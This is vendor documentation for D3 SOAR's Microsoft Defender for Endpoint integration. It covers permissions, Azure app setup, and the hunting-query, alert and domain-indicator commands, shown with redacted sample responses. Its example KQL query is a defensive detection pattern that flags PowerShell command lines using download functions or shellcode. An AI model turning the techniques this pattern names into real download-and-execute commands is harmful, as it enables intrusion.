Skip to main content
Skip table of contents

Microsoft Defender for Endpoint

LAST UPDATED: NOV 1, 2024

Overview

Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection) protects endpoints from cyber threats, detects attacks and infringements of data, and automates security incidents. Integration with Microsoft Defender for Endpoint covers the major actions such as quarantine host, scan host, get alerts, update alert, and so on.

D3 SOAR is providing REST operations to function with Microsoft Defender for Endpoint.

Microsoft Defender for Endpoint is available for use in:

D3 SOAR

V12.7.83.0+

Category

Endpoint Protection

Deployment Options

Option II, Option IV

Known Limitations

  1. A server error may occur when accessing the service. This may be fixed by allowing cookies in your web browser settings.

  2. Some elements or data may be missing on Microsoft 365 Defender. They may be blocked by proxy settings. Ensure *.security.microsoft.com is included in the proxy allowlist.

  3. If devices successfully complete onboarding but Microsoft Defender for Endpoint does not start after a reboot and returns error 577, ensure Windows Defender has not been disabled by a policy.

  4. There are some known issues with the time and date formats.

    1. The following date formats are supported:

      • MM/dd/yyyy

      • dd/MM/yyyy

    2. The following date and time formats are currently not supported:

      • yyyy/MM/dd

      • dd/MM/yy

      • Date formats with yy. Only yyyy will be shown for year.

      • HH:mm:ss (12-hour AM/PM format). Only the 24-hour time format is supported.

  5. Commas cannot be used as a separator for numbers. Regions that use commas as the thousands separator, will be replaced by a period. For example, 15,5K will be displayed as 15.5K.

Please refer to Troubleshoot Microsoft Defender for Endpoint server issues from Microsoft’s documentation for more information.

Connection

To connect Microsoft Defender for Endpoint from D3 SOAR, please follow this part to collect the required information below:

Parameter

Description

Example

Directory (tenant) ID

The directory ID to authenticate the API connection.

f62***-455f-8ee9-***Eed

Client ID

The client ID to authenticate the API connection.

9c8***-de31-9W68-***f8a

Client Secret

The client secret to authenticate the API connection.

o14*************817

Permission Requirements

Each endpoint in the Microsoft Defender for Endpoint API requires a certain permission scope. The following are required scopes for the commands in this integration:

Command

Required Permissions (Permission Type: Application)

Advanced Query

AdvancedQuery.Read.All

Create Alert

Alert.ReadWrite.All

Create Domain Indicator

Ti.ReadWrite, Ti.ReadWrite.All

Create File Indicator

Ti.ReadWrite, Ti.ReadWrite.All

Create IP Indicator

Ti.ReadWrite, Ti.ReadWrite.All

Delete Indicator

Ti.ReadWrite, Ti.ReadWrite.All

Fetch Event

Alert.Read.All, Alert.ReadWrite.All

Fetch Related Events

Alert.Read.All, Alert.ReadWrite.All

Get Alerts By ID

Alert.Read.All, Alert.ReadWrite.All

Get File Related Alerts

Machine.Read.All, Machine.ReadWrite.All

Get Host By Hashes

Machine.Read.All, Machine.ReadWrite.All

Get Host By IP

Machine.Read.All, Machine.ReadWrite.All

Get Host By User

Machine.Read.All, Machine.ReadWrite.All

Get Host Details

Machine.Read.All, Machine.ReadWrite.All

Get Indicator By ID

Ti.ReadWrite, Ti.ReadWrite.All

Get Live Response Results

Machine.Read.All

Get Machine Logon Users

User.Read.All

Get User By Alert

User.Read.All

List Hosts

Machine.Read.All, Machine.ReadWrite.All

List Hosts Actions

Machine.Read.All, Machine.ReadWrite.All

List Indicator

Ti.ReadWrite, Ti.ReadWrite.All

List Live Response Library Files

Library.Manage

List Machine Actions

Machine.Read.All, Machine.ReadWrite.All

Offboard Machines

Machine.Offboard

Quarantine Files

Machine.StopAndQuarantine, Machine.Read.All, Machine.ReadWrite.All

Quarantine Hosts

Machine.Isolate

Run Live Response Commands

Machine.LiveResponse

Scan Hosts

Machine.Scan

Submit Indicator

Ti.ReadWrite, Ti.ReadWrite.All 

Submit URL Indicators

Ti.ReadWrite, Ti.ReadWrite.All

Unquarantine Hosts

Machine.Isolate

The user must have at least the following role permission: 'Active remediation actions' (see Create and manage roles for role-based access control - Microsoft Defender for Endpoint | Microsoft Learn for more information). The user must have access to the device, based on device group settings (See Create and manage device groups in Microsoft Defender for Endpoint - Microsoft Defender for Endpoint | Microsoft Learn for more information)

Update Alert

Alert.ReadWrite, Alert.ReadWrite.All

Upload File To Live Response Library

Library.Manage

Configuring Microsoft Defender for Endpoint to Work with D3 SOAR

  1. Log in to the Azure Portal (https://portal.azure.com/).

  2. Navigate to the top search bar, then search and select App registrations.

  3. If you already have created apps, you can use one of them. Skip to step 5 to obtain the Client ID & Tenant ID. If you do not have an app, click + New registration to create one.

  4. Register the application.

    1. Enter an application Name.

    2. For Supported account types, select Accounts in this organizational directory only (<Your Directory Name> only - Single tenant).

    3. Click Register.

  5. In the App Overview tab, copy and save the Application(client) ID and Directory(tenant) ID. They will be required to build the integration connection in D3 SOAR. Navigate to Client credentials, then click Add a certificate or secret.

  6. Click + New Client Secret. Enter a Description for the client secret, and select a client secret expiry period using the Expires dropdown menu. Click Add. Note: The client ID will not be able to access the API resources after the client secret expires. You must renew the client secret to keep the client ID active.

  7. Copy and save the Secret Value. It will be required to build the integration connection in D3 SOAR connection. Note: The created Client Secret can only be viewed once. Store it in a secure location before leaving the page.

  8. Configure the API permissions. Click API permissions on the left navigation menu, then click + Add a permission.

  9. Select the APIs my organization uses tab and type WindowsDefenderATP in the search box. Select WindowsDefenderATP when it populates below the search box.

  10. Select the required Application permissions. After selecting the required permission, click Add permissions.

READER NOTE

An error message may occur if you have inadvertently selected a different permission type for this integration. When selecting permissions, it is necessary to differentiate between Delegated Permissions and Application Permissions.

Delegated Permissions, often referred to as “scopes”, empower the application to operate on behalf of the signed-in user.

Application Permissions, also known as “app roles”, enable the application to access data independently. Application Permissions are suitable to use when it is undesirable to have a user signed in, or when the data required cannot be scoped to a single user.

For further clarification, please refer to Microsoft’s official documentation on permission types: Authentication and authorization basics.

  1. Check the tick boxes for Alert.Read.All and Alert.ReadWrite.All in the Alert section, then click Add permissions. See Permission Requirements for the required permissions for each command in this integration.

  2. Some permissions may need to be granted admin consent for your directory (d3uat in the sample screenshot) to use. Ensure Grant admin consent for <Your Directory> is checked.

You may see Not granted for <Your Directory> in the status column. Those are the ungranted permissions you want to use. After successfully granting permissions, a green checkmark will appear under the permission status column for the corresponding permissions. If your login account does not have admin privileges, ask your admin to grant consent.

Configuring D3 SOAR to Work with Microsoft Defender for Endpoint

  1. Log in to D3 SOAR.

  2. Find the Microsoft Defender for Endpoint integration.

    1. Navigate to Configuration on the top header menu.

    2. Click on the Integration icon on the left sidebar.

    3. Type Microsoft Defender for Endpoint in the search box to find the integration, then click it to select it.

    4. Click + New Connection, on the right side of the Connections section. A new connection window will appear.

  3. Configure the following fields to create a connection to Microsoft Defender for Endpoint.

    1. Connection Name: The desired name for the connection.

    2. Site: Specifies the site to use the integration connection. Use the drop-down menu to select the site. The Share to Internal Sites option enables all sites defined as internal sites to use the connection. Selecting a specific site will only enable that site to use the connection.

    3. Recipient site for events from connections Shared to Internal Sites: This field appears if you selected Share to Internal Sites for Site to let you select the internal site to deploy the integration connection.

    4. Agent Name (Optional): Specifies the proxy agent required to build the connection. Use the dropdown menu to select the proxy agent from a list of previously configured proxy agents.

    5. Description (Optional): Add your desired description for the connection.

    6. Configure User Permissions: Defines which users have access to the connection.

    7. Active: Check the tick box to ensure the connection is available for use.

    8. System: This section contains the parameters defined specifically for the integration. These parameters must be configured to create the integration connection.

      1. Input your saved Directory (tenant) ID. See step 5 of Configuring Microsoft Defender for Endpoint to Work with D3 SOAR.

      2. Input your saved Application (client) ID. See step 5 of Configuring Microsoft Defender for Endpoint to Work with D3 SOAR.

      3. Input your saved Client Secret. Please refer to step 7 of Configuring Microsoft Defender for Endpoint to Work with D3 SOAR.

    9. Enable Password Vault: An optional feature that allows users to take the stored credentials from their own password vault. Please refer to the password vault connection guide if needed.

  4. Test the connection.

    1. Click Test Connection to verify the account credentials and network connection. If the Test Connection Passed alert window appears, the test connection is successful. You will see Passed with a green checkmark appear beside the Test Connection button. If the test connection fails, please check your connection parameters and try again.

    2. Click OK to close the alert window.

    3. Click + Add to create and add the configured connection.

Commands

Microsoft Defender for Endpoint includes the following executable commands for users to set up schedules or create playbook workflows. With the Test Command, you can execute these commands independently for playbook troubleshooting.

Integration API Note

For more information about the Microsoft Defender for Endpoint API, please refer to the Microsoft Defender for Endpoint API reference.

READER NOTE

Certain permissions are required for each command. Please refer to the Permission Requirements and Configuring Microsoft Defender for Endpoint to Work with D3 SOAR for details.

Note for Time-related parameters

The input format of time-related parameters may vary based on your account settings. As a result, the sample data provided in our commands is different from what you see. To set your preferred time format, follow these steps:

  1. Navigate to Configuration > Application Settings. Select Date/Time Format.

  2. Choose your desired date and time format.

After that, you will be able to view your preferred time format when configuring the DateTime input parameters for commands.

Run Advanced Hunting Queries

Runs advanced hunting queries on Microsoft Defender for Endpoint. If you want to query email-related tables or other Microsoft 365 defender tables, please run the Advanced Hunting command from the Microsoft 365 Defender integration. Note: In order to run this command, your APP requires the AdvancedQuery.Read.All permission. Additionally, the command can only query data from the past 30 days.

READER NOTE

Limitations for this command:

  • You can only run a query on data from the last 30 days.

  • The results can include a maximum of 100,000 rows.

  • The number of executions is limited per tenant:

    • API calls: Up to 45 calls per minute, up to 1500 calls per hour.

    • Execution time: 10 minutes of running time every hour and 3 hours of running time a day.

  • The maximal execution time for a single request is 200 seconds.

  • 429 response will represent reaching quota limit either by number of requests or by CPU. Read the response body to understand what limit has been reached.

  • The maximum query result size for a single request cannot exceed 124 MB. If exceeded, the HTTP 400 Bad Request error with the message "Query execution has exceeded the allowed result size. Optimize your query by limiting the number of results and try again" will return.

Please refer to Advanced hunting API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Query

Required

The Kusto query string to search for results. For more information about Kusto Query Language (KQL), please refer to Kusto Query Language (KQL) overview from Microsoft’s documentation.

union DeviceProcessEvents, DeviceNetworkEvents

| where Timestamp > ago(30d)

| where InitiatingProcessFileName =~ 'powershell.exe'

| where ProcessCommandLine has_any('WebClient', 'appdata', 'DownloadFile', 'DownloadData', 'DownloadString', 'WebRequest', 'Shellcode', 'http', 'https')

| project Timestamp, DeviceName, ReportId, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, RemoteIP, RemoteUrl, RemotePort, RemoteIPType

| top 20 by Timestamp

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "Stats": {
        "ExecutionTime": 0.2500027,
        "resource_usage": {
            "cache": {
                "memory": {
                    "hits": 539,
                    "misses": 182,
                    "total": 721
                },
                "disk": {
                    "hits": 139,
                    "misses": 1,
                    "total": 140
                }
            },
            "cpu": {
                "user": "00:00:00.0468750",
                "kernel": "00:00:00",
                "total cpu": "00:00:00.0468750"
            },
            "memory": {
                "peak_per_node": 3512880
            }
        },
        "dataset_statistics": [
            {
                "table_row_count": 2,
                "table_size": 2593
            }
        ]
    },
    "Schema": [
        {
            "Name": "Timestamp",
            "Type": "DateTime"
        },
        {
            "Name": "DeviceName",
            "Type": "String"
        },
        {
            "Name": "ReportId",
            "Type": "Int64"
        },
        {
            "Name": "InitiatingProcessFileName",
            "Type": "String"
        },
        {
            "Name": "InitiatingProcessCommandLine",
            "Type": "String"
        },
        {
            "Name": "FileName",
            "Type": "String"
        },
        {
            "Name": "ProcessCommandLine",
            "Type": "String"
        },
        {
            "Name": "RemoteIP",
            "Type": "String"
        },
        {
            "Name": "RemoteUrl",
            "Type": "String"
        },
        {
            "Name": "RemotePort",
            "Type": "Int32"
        },
        {
            "Name": "RemoteIPType",
            "Type": "String"
        }
    ],
    "Results": [
        {
            "Timestamp": "2021-08-17T17:36:17.9897339Z",
            "DeviceName": "***.***.***",
            "ReportId": 29951,
            "InitiatingProcessFileName": "***.exe",
            "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\**\\*******\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '***')) { exit 323;}; . 'C:\\ProgramData\\***\\***\\***\\***.ps1' }\"",
            "FileName": "***.exe",
            "ProcessCommandLine": "\"***.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\.cmdline\"",
            "RemoteIP": "***",
            "RemoteUrl": "",
            "RemotePort": null,
            "RemoteIPType": ""
        },
        {
            "Timestamp": "2021-08-17T15:53:17.2863497Z",
            "DeviceName": "***.***.***",
            "ReportId": *****,
            "InitiatingProcessFileName": "***.exe",
            "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\***\\***\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '*******')) { exit 323;}; . 'C:\\ProgramData\\Microsoft\\***\\***\\***\\***.ps1' }\"",
            "FileName": "***.exe",
            "ProcessCommandLine": "\"***.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\***.cmdline\"",
            "RemoteIP": "",
            "RemoteUrl": "",
            "RemotePort": null,
            "RemoteIPType": ""
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "Stats": {
        "ExecutionTime": 0.2500027,
        "resource_usage": {
            "cache": {
                "memory": {
                    "hits": 539,
                    "misses": 182,
                    "total": 721
                },
                "disk": {
                    "hits": 139,
                    "misses": 1,
                    "total": 140
                }
            },
            "cpu": {
                "user": "00:00:00.0468750",
                "kernel": "00:00:00",
                "total cpu": "00:00:00.0468750"
            },
            "memory": {
                "peak_per_node": 3512880
            }
        },
        "dataset_statistics": [
            {
                "table_row_count": 2,
                "table_size": 2593
            }
        ]
    },
    "Schema": [
        {
            "Name": "Timestamp",
            "Type": "DateTime"
        },
        {
            "Name": "DeviceName",
            "Type": "String"
        },
        {
            "Name": "ReportId",
            "Type": "Int64"
        },
        {
            "Name": "InitiatingProcessFileName",
            "Type": "String"
        },
        {
            "Name": "InitiatingProcessCommandLine",
            "Type": "String"
        },
        {
            "Name": "FileName",
            "Type": "String"
        },
        {
            "Name": "ProcessCommandLine",
            "Type": "String"
        },
        {
            "Name": "RemoteIP",
            "Type": "String"
        },
        {
            "Name": "RemoteUrl",
            "Type": "String"
        },
        {
            "Name": "RemotePort",
            "Type": "Int32"
        },
        {
            "Name": "RemoteIPType",
            "Type": "String"
        }
    ],
    "Results": [
        {
            "Timestamp": "2021-08-17T17:36:17.9897339Z",
            "DeviceName": "***.***.***",
            "ReportId": *****,
            "InitiatingProcessFileName": "***.exe",
            "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {En$OutputEncoding = [Console]::Outpucoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\***\\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '***')) { exit 323;}; . 'C:\\ProgramData\\***\\***\\***.ps1' }\"",
            "FileName": "***.exe",
            "ProcessCommandLine": "\"***.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\***.cmdline\"",
            "RemoteIP": "***",
            "RemoteUrl": "",
            "RemotePort": null,
            "RemoteIPType": ""
        },
        {
            "Timestamp": "2021-08-17T15:53:17.2863497Z",
            "DeviceName": "d3cyber7ce.d3cyber7.local",
            "ReportId": 29719,
            "InitiatingProcessFileName": "***.exe",
            "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\***\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '***')) { exit 323;}; . 'C:\\ProgramData\\***\***.ps1' }\"",
            "FileName": "csc.exe",
            "ProcessCommandLine": "\"csc.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\***\\***.cmdline\"",
            "RemoteIP": "",
            "RemoteUrl": "",
            "RemotePort": null,
            "RemoteIPType": ""
        }
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

Stats

{

"ExecutionTime": 0.2500027,

"resource_usage": {

"cache": {

"memory": {

"hits": 539,

"misses": 182,

"total": 721

},

"disk": {

"hits": 139,

"misses": 1,

"total": 140

}

},

"cpu": {

"user": "00:00:00.0468750",

"kernel": "00:00:00",

"total cpu": "00:00:00.0468750"

},

"memory": {

"peak_per_node": 3512880

}

},

"dataset_statistics": [

{

"table_row_count": 2,

"table_size": 2593

}

]

}

Schema

  • {

    "Name": "Timestamp",

    "Type": "DateTime"

    }

  • {

    "Name": "DeviceName",

    "Type": "String"

    }

  • {

    "Name": "ReportId",

    "Type": "Int64"

    }

  • {

    "Name": "InitiatingProcessFileName",

    "Type": "String"

    }

  • {

    "Name": "InitiatingProcessCommandLine",

    "Type": "String"

    }

  • {

    "Name": "FileName",

    "Type": "String"

    }

  • {

    "Name": "ProcessCommandLine",

    "Type": "String"

    }

  • {

    "Name": "RemoteIP",

    "Type": "String"

    }

  • {

    "Name": "RemoteUrl",

    "Type": "String"

    }

  • {

    "Name": "RemotePort",

    "Type": "Int32"

    }

  • {

    "Name": "RemoteIPType",

    "Type": "String"

    }

Results

  • {

    "Timestamp": "2021-08-17T17:36:17.9897339Z",

    "DeviceName": "***.***.***",

    "ReportId": *****,

    "InitiatingProcessFileName": "***.exe",

    "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\***\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '***')) { exit 323;}; . 'C:\\ProgramData\\***\\***\\***.ps1' }\"",

    "FileName": "***.exe",

    "ProcessCommandLine": "\"***.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\***.cmdline\"",

    "RemoteIP": "***",

    "RemoteUrl": "",

    "RemotePort": null,

    "RemoteIPType": ""

    }

  • {

    "Timestamp": "2021-08-17T15:53:17.2863497Z",

    "DeviceName": "***.***.***",

    "ReportId": *****,

    "InitiatingProcessFileName": "***.exe",

    "InitiatingProcessCommandLine": "***.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command \"& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\\ProgramData\\***\\***\\***.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\\ProgramData\\***\\***\\***.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq '***')) { exit 323;}; . 'C:\\ProgramData\\***\\***\\***.ps1' }\"",

    "FileName": "***.exe",

    "ProcessCommandLine": "\"***.exe\" /noconfig /fullpaths @\"C:\\Windows\\***\\***\\***.cmdline\"",

    "RemoteIP": "****",

    "RemoteUrl": "",

    "RemotePort": null,

    "RemoteIPType": ""

    }

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Run Advanced Hunting Queries failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.

Error Sample Data

Run Advanced Hunting Queries failed.

Status Code: 400.

Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.

Create Alert

Creates an alert based on event data obtained from Advanced Query.

Warning

To obtain Event Time, Machine ID, and Report ID, you must define the project operators' project Timestamp, DeviceId, ReportId using the Advanced Query command.

READER NOTE

  • Machine ID, Event Time and Report ID are required parameters to run this command.

    • Run the Run Advanced Hunting Queries command to obtain Machine IDs, Event Time and Report IDs. Machine IDs can be found in the raw data at the path $.results[*].machineId

    • These three input parameters must match in order to run this command. Run the Run Advanced Hunting Queries command and select the three corresponding values from the same JSON object in the returned raw data. If the values do not match, the error message “NotFound” will be returned.

  • Limitations for this command:

    • The rate limitation for this API is 15 calls per minute.

  • See Create alert from event API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Machine ID

Required

The ID of the device on which the event was identified. Machine IDs can be obtained using the Run Advanced Hunting Queries command.

*****************

Severity

Required

The severity of the alert. The available severity levels are: Low, Medium and High.

Low

Title

Required

The title for the alert.

example

Description

Required

The description for the alert.

example alert

Recommended Action

Required

The recommended course of action for the security officer when analyzing the alert.

nothing

Event Time

Required

The precise time (in UTC Time) of the event, as obtained from the Run Advanced Hunting Queries command. For example, 2020-08-03T16:45:21.7115183Z.

2020-07-29T21:35:33.2061566Z

Report ID

Required

The Report ID of the event, as obtained from advanced hunting. Report IDs can be obtained using the Run Advanced Hunting Queries command.

*****

Category

Required

The category of the alert. The available category values are: General CommandAndControl, Collection, CredentialAccess, DefenseEvasion, Discovery, Exfiltration, Exploit, Execution, InitialAccess, LateralMovement, Malware, Persistence, PrivilegeEscalation, Ransomware, and SuspiciousActivity.

Exploit

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "incidentId": ***,
    "investigationId": ***,
    "assignedTo": "Automation",
    "severity": "Low",
    "status": "Resolved",
    "classification": null,
    "determination": null,
    "investigationState": "Benign",
    "detectionSource": "CustomerTI",
    "category": "Exploit",
    "threatFamilyName": null,
    "title": "example",
    "description": "example alert",
    "alertCreationTime": "2020-07-30T23:07:33.0199612Z",
    "firstEventTime": "2020-07-29T21:35:33.2061566Z",
    "lastEventTime": "2020-07-29T21:35:33.2061566Z",
    "lastUpdateTime": "2020-07-30T23:19:17.15Z",
    "resolvedTime": "2020-07-30T23:19:16.8008844Z",
    "machineId": "*****",
    "computerDnsName": "d3cyber-defender-cient",
    "rbacGroupName": null,
    "aadTenantId": "*****",
    "mitreTechniques": [],
    "relatedUser": null,
    "comments": [],
    "evidence": []
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "incidentId": ***,
    "investigationId": ***,
    "assignedTo": "Automation",
    "severity": "Low",
    "status": "Resolved",
    "classification": null,
    "determination": null,
    "investigationState": "Benign",
    "detectionSource": "CustomerTI",
    "category": "Exploit",
    "threatFamilyName": null,
    "title": "example",
    "description": "example alert",
    "alertCreationTime": "2020-07-30T23:07:33.0199612Z",
    "firstEventTime": "2020-07-29T21:35:33.2061566Z",
    "lastEventTime": "2020-07-29T21:35:33.2061566Z",
    "lastUpdateTime": "2020-07-30T23:19:17.15Z",
    "resolvedTime": "2020-07-30T23:19:16.8008844Z",
    "machineId": "*****",
    "computerDnsName": "***-***-***",
    "rbacGroupName": null,
    "aadTenantId": "*****",
    "mitreTechniques": [],
    "relatedUser": null,
    "comments": [],
    "evidence": []
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/***

id

*****

incidentId

***

investigationId

***

assignedTo

Automation

severity

Low

status

Resolved

classification

determination

investigationState

Benign

detectionSource

CustomerTI

category

Exploit

threatFamilyName

title

example

description

example alert

alertCreationTime

7/30/2020 11:07:33 PM

firstEventTime

7/29/2020 9:35:33 PM

lastEventTime

7/29/2020 9:35:33 PM

lastUpdateTime

7/30/2020 11:19:17 PM

resolvedTime

7/30/2020 11:19:16 PM

machineId

*****

computerDnsName

***-***-***

rbacGroupName

aadTenantId

*****

mitreTechniques

relatedUser

comments

evidence

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Create Alert failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: NotFound.

Error Sample Data

Create Alert failed.

Status Code: 404.

Message: NotFound.

Create Domain Indicator

Creates a domain indicator.

READER NOTE

  • The parameter rbac Group Names is optional to run this command.

    • To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • There is a limit of 15,000 active indicators per tenant.

  • See Submit or Update Indicator API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Domain

Required

The identity of the indicator entity.

d3security.com

Action

Required

The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.

AlertAndBlock

Application

Optional

The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.

demo-test

Title

Required

The indicator alert title.

test

Description

Required

The description of the indicator.

test

Expiration Time

Optional

The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.

2022-12-12T00:00:00Z

Severity

Optional

The severity of the indicator. The available input options are Informational, Low, Medium, and High.

Informational

Recommended Actions

Optional

The recommended actions for the indicator alert.

nothing

rbac Group Names

Optional

A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.

RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

["group1", "group2"]

Generate Alert

Optional

True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.

True

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "***",
    "indicatorValue": "*****.com",
    "indicatorType": "DomainName",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T21:09:10.7938807Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:58.8793068Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": ***,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "***",
    "indicatorValue": "*****.com",
    "indicatorType": "DomainName",
    "action": "AlertAndBlock",
